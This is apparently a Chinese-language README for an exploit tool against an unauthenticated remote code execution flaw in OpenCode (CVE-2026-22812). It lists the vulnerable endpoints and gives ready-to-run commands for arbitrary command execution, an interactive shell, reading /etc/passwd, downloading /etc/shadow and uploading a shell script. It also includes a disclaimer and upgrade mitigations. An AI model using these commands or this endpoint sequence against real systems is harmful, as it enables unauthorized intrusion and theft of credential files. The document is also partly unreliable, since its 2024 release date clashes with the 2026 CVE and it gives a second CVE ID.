OpenCode 未认证远程代码执行漏洞 (CVE-2026-22812) 利用工具

3 阅读3分钟

CVE-2026-22812

概述

一个针对 OpenCode 远程代码执行漏洞的 Python 利用工具,该漏洞影响版本低于 v1.0.216 的 OpenCode。此工具提供多种攻击向量,包括命令执行、文件读写、文件上传/下载以及交互式 Shell。

免责声明

⚠️ 仅供授权测试使用 ⚠️

  • 本工具仅用于合法的安全测试和授权的渗透测试
  • 仅在您拥有或已获得明确测试许可的系统上使用
  • 作者不对因滥用或使用本工具造成的任何损害负责
  • 未经授权访问计算机系统是非法行为,将受到法律制裁

功能特性

  • 漏洞检测:检查目标是否存在漏洞
  • 命令执行:在目标上执行任意命令
  • 文件操作:读取、写入、上传和下载文件
  • 交互式 Shell:具有 Tab 补全功能的完整交互式 Shell
  • 系统侦察:收集系统信息
  • 代理支持:通过 HTTP 代理路由流量
  • 统计跟踪:监控利用活动

安装

# 克隆仓库
git clone https://github.com/0xgh057r3c0n/CVE-2026-22812.git
cd CVE-2026-22812

# 安装依赖
pip install requests urllib3

# 可选:添加执行权限
chmod +x CVE-2026-22812.py

要求

  • Python 3.6+
  • requests 库
  • urllib3 库

使用方法

python3 CVE-2026-22812.py -t http://target:port [选项]

基础示例

# 检查目标是否存在漏洞
python3 exploit.py -t http://10.0.0.1:4096 --check

# 交互式 Shell
python3 exploit.py -t http://10.0.0.1:4096 -i

# 执行单条命令
python3 exploit.py -t http://10.0.0.1:4096 -c "id"

# 读取文件
python3 exploit.py -t http://10.0.0.1:4096 -r /etc/passwd

# 上传文件
python3 exploit.py -t http://10.0.0.1:4096 --upload shell.sh /tmp/shell.sh

# 下载文件
python3 exploit.py -t http://10.0.0.1:4096 --download /etc/shadow shadow.txt

# 获取系统信息
python3 exploit.py -t http://10.0.0.1:4096 --info

# 使用代理(如 Burp Suite)
python3 exploit.py -t http://10.0.0.1:4096 -c "whoami" --proxy http://127.0.0.1:8080

交互式 Shell 命令

进入交互式 Shell(使用 -i 标志)后,您可以使用以下命令:

<command>                   执行 Shell 命令
help                        显示帮助菜单
exit                        退出 Shell
session                     显示会话 ID
stats                       显示利用统计信息
read <file>                 读取文件内容
download <remote> <local>   下载文件
upload <local> <remote>     上传文件
sysinfo                     获取系统信息

漏洞详情

  • CVE ID:CVE-2026-22812 / CVE-2026-22182
  • 产品:OpenCode
  • 受影响版本:< v1.0.216
  • 漏洞类型:远程代码执行
  • 攻击向量:网络
  • 身份验证:不需要

技术细节

该漏洞存在于会话管理端点 (/session) 中,它允许未经身份验证的用户创建会话,并通过 /session/{id}/shell 端点执行任意命令。

被利用的端点:
  • POST /session - 创建会话
  • POST /session/{id}/shell - 执行命令
  • GET /file/content - 读取文件

缓解措施

  1. 将 OpenCode 升级至 ≥ v1.0.216 版本
  2. 实施适当的身份验证和授权机制
  3. 限制对 OpenCode 实例的网络访问
  4. 实施输入验证和清理
  5. 使用 Web 应用防火墙 (WAF)

代码结构

CVE-2026-22812.py
├── Colors 类 (ANSI 颜色代码)
├── print_banner() (显示横幅)
├── Exploit 类 (主要利用逻辑)
│   ├── __init__() (初始化)
│   ├── check_vuln() (漏洞检查)
│   ├── create_session() (创建会话)
│   ├── exec_cmd() (执行命令)
│   ├── read_file() (读取文件)
│   ├── write_file() (写入文件)
│   ├── upload() (上传文件)
│   ├── download() (下载文件)
│   ├── get_info() (系统信息)
│   ├── shell() (交互式 Shell)
│   └── 辅助方法
└── main() (参数解析)

许可证

本工具仅用于教育目的。使用风险自负。

作者

  • GitHub: 0xgh057r3c0n
  • 工具: CVE-2026-22812 利用工具

贡献

  1. Fork 仓库
  2. 创建一个功能分支
  3. 提交您的更改
  4. 推送到分支
  5. 创建拉取请求

致谢

  • 发现此漏洞的安全研究员
  • 开源社区
  • 所有贡献者和测试者

参考

  • OpenCode 安全公告
  • CVE 数据库
  • NVD 条目

支持

如有问题,请:

  • 尽可能包含目标 URL 和错误信息

版本历史

  • v1.0.0 (2024-01-20): 初始发布
    • 漏洞检测
    • 命令执行
    • 文件操作
    • 交互式 Shell
    • 代理支持 glyoVzOLZA9nMhz/bDHDAa5CjaE0K6O1LUE4aObG8oFSn7yikgwuegvRMFHBznq4